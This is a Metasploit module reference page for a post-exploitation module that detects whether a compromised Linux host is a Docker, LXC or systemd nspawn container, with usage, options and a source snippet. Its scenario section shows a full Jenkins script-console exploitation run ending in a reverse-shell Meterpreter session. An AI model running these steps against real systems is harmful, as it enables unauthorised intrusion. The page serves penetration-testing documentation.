Linux Gather Container Detection - Metasploit
This page contains detailed information about how to use the post/linux/gather/checkcontainer metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Linux Gather Container Detection
Module: post/linux/gather/checkcontainer
Source code: modules/post/linux/gather/checkcontainer.rb
Disclosure date: -
Last modification time: 2017-08-06 00:46:09 +0000
Supported architecture(s): -
Supported platform(s): Linux
Target service / protocol: -
Target network port(s): -
List of CVEs: -
This module attempts to determine whether the system is running inside of a container and if so, which one. This module supports detection of Docker, LXC, and systemd nspawn.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
There are two ways to execute this post module.
From the Meterpreter prompt
The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:
meterpreter > run post/linux/gather/checkcontainer
From the msf prompt
The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.
msf > use post/linux/gather/checkcontainer
msf post(checkcontainer) > show options
... show and set options ...
msf post(checkcontainer) > set SESSION session-id
msf post(checkcontainer) > exploit
If you wish to run the post against all sessions from framework, here is how:
1 - Create the following resource script:
framework.sessions.each_pair do |sid, session|
run_single("use post/linux/gather/checkcontainer")
run_single("set SESSION #{sid}")
run_single("run")
end
2 - At the msf prompt, execute the above resource script:
msf > resource path-to-resource-script
Required Options
- SESSION: The session to run this module on.
Knowledge Base
Indicators
There are several indicators that a process is being executed inside of a container. This module looks for the following indicators:
- Presence of
/.dockerenv
file indicates Docker. - Finding select strings in
/proc/1/cgroup
indicates LXC or Docker. - The value of the
container
environment variable in/proc/1/environ
indicates LXC or systemd nspawn.
Verification Steps
- Start msfconsole
- Get a session via exploit of your choice
run post/linux/gather/checkcontainer
- You should get feedback if a container was detected
Options
SESSION
Which session to use, which can be viewed with sessions -l
Scenarios
Check if the jenkins instance you have a shell on is running inside a Docker container.
msf > use exploit/multi/http/jenkins_script_console
msf exploit(jenkins_script_console) > set API_TOKEN bc3dbc5c328733cc826c15772e6eaef5
API_TOKEN => bc3dbc5c328733cc826c15772e6eaef5
msf exploit(jenkins_script_console) > set RHOST 10.0.0.40
RHOST => 10.0.0.40
msf exploit(jenkins_script_console) > set RPORT 8080
RPORT => 8080
msf exploit(jenkins_script_console) > set TARGETURI /
TARGETURI => /
msf exploit(jenkins_script_console) > set TARGET 1
TARGET => 1
msf exploit(jenkins_script_console) > set USERNAME user
USERNAME => user
msf exploit(jenkins_script_console) > run
[*] Started reverse TCP handler on 10.0.0.49:4444
[*] Checking access to the script console
[*] Authenticating with token...
[*] Using CSRF token: 'b83d12171ba5248100f1de20e6472067' (Jenkins-Crumb style)
[*] 10.0.0.40:8080 - Sending Linux stager...
[*] Sending stage (826840 bytes) to 10.0.0.40
[*] Meterpreter session 1 opened (10.0.0.49:4444 -> 10.0.0.40:54404) at 2017-08-16 20:56:23 -0500
[!] Deleting /tmp/aFdmPcC payload file
meterpreter > run post/linux/gather/checkcontainer
[+] This appears to be a 'Docker' container
meterpreter >
Detect a LXC container
meterpreter > run post/linux/gather/checkcontainer
[+] This appears to be a 'LXC' container
meterpreter >
Detect a systemd nspawn container
meterpreter > run post/linux/gather/checkcontainer
[+] This appears to be a 'systemd nspawn' container
meterpreter >
Detect nothing
meterpreter > run post/linux/gather/checkcontainer
[*] This does not appear to be a container
meterpreter >
Go back to menu.
Msfconsole Usage
Here is how the linux/gather/checkcontainer post exploitation module looks in the msfconsole:
msf6 > use post/linux/gather/checkcontainer
msf6 post(linux/gather/checkcontainer) > show info
Name: Linux Gather Container Detection
Module: post/linux/gather/checkcontainer
Platform: Linux
Arch:
Rank: Normal
Provided by:
James Otten <[email protected]>
Compatible session types:
Meterpreter
Shell
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
Description:
This module attempts to determine whether the system is running
inside of a container and if so, which one. This module supports
detection of Docker, LXC, and systemd nspawn.
Module Options
This is a complete list of options available in the linux/gather/checkcontainer post exploitation module:
msf6 post(linux/gather/checkcontainer) > show options
Module options (post/linux/gather/checkcontainer):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
Advanced Options
Here is a complete list of advanced options supported by the linux/gather/checkcontainer post exploitation module:
msf6 post(linux/gather/checkcontainer) > show advanced
Module advanced options (post/linux/gather/checkcontainer):
Name Current Setting Required Description
---- --------------- -------- -----------
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Post Actions
This is a list of all post exploitation actions which the linux/gather/checkcontainer module can do:
msf6 post(linux/gather/checkcontainer) > show actions
Post actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the linux/gather/checkcontainer post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 post(linux/gather/checkcontainer) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
This does not appear to be a container
Here is a relevant code snippet related to the "This does not appear to be a container" error message:
55: end
56: end
57:
58: if container
59: print_good("This appears to be a '#{container}' container")
60: report_virtualization(container)
61: else
62: print_status("This does not appear to be a container")
63: end
64: end
65: end
Go back to menu.
Related Pull Requests
Go back to menu.
See Also
Check also the following modules related to this module:
- post/linux/gather/checkvm
- post/linux/gather/ecryptfs_creds
- post/linux/gather/enum_commands
- post/linux/gather/enum_configs
- post/linux/gather/enum_containers
- post/linux/gather/enum_nagios_xi
- post/linux/gather/enum_network
- post/linux/gather/enum_protections
- post/linux/gather/enum_psk
- post/linux/gather/enum_system
- post/linux/gather/enum_users_history
- post/linux/gather/gnome_commander_creds
- post/linux/gather/gnome_keyring_dump
- post/linux/gather/haserl_read
- post/linux/gather/hashdump
- post/linux/gather/manageengine_password_manager_creds
- post/linux/gather/mimipenguin
- post/linux/gather/mount_cifs_creds
- post/linux/gather/openvpn_credentials
- post/linux/gather/phpmyadmin_credsteal
- post/linux/gather/pptpd_chap_secrets
- post/linux/gather/tor_hiddenservices
- post/linux/gather/vcenter_secrets_dump
Authors
- James Otten <jamesotten1[at]gmail.com>
Version
This page has been produced using Metasploit Framework version 6.2.26-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.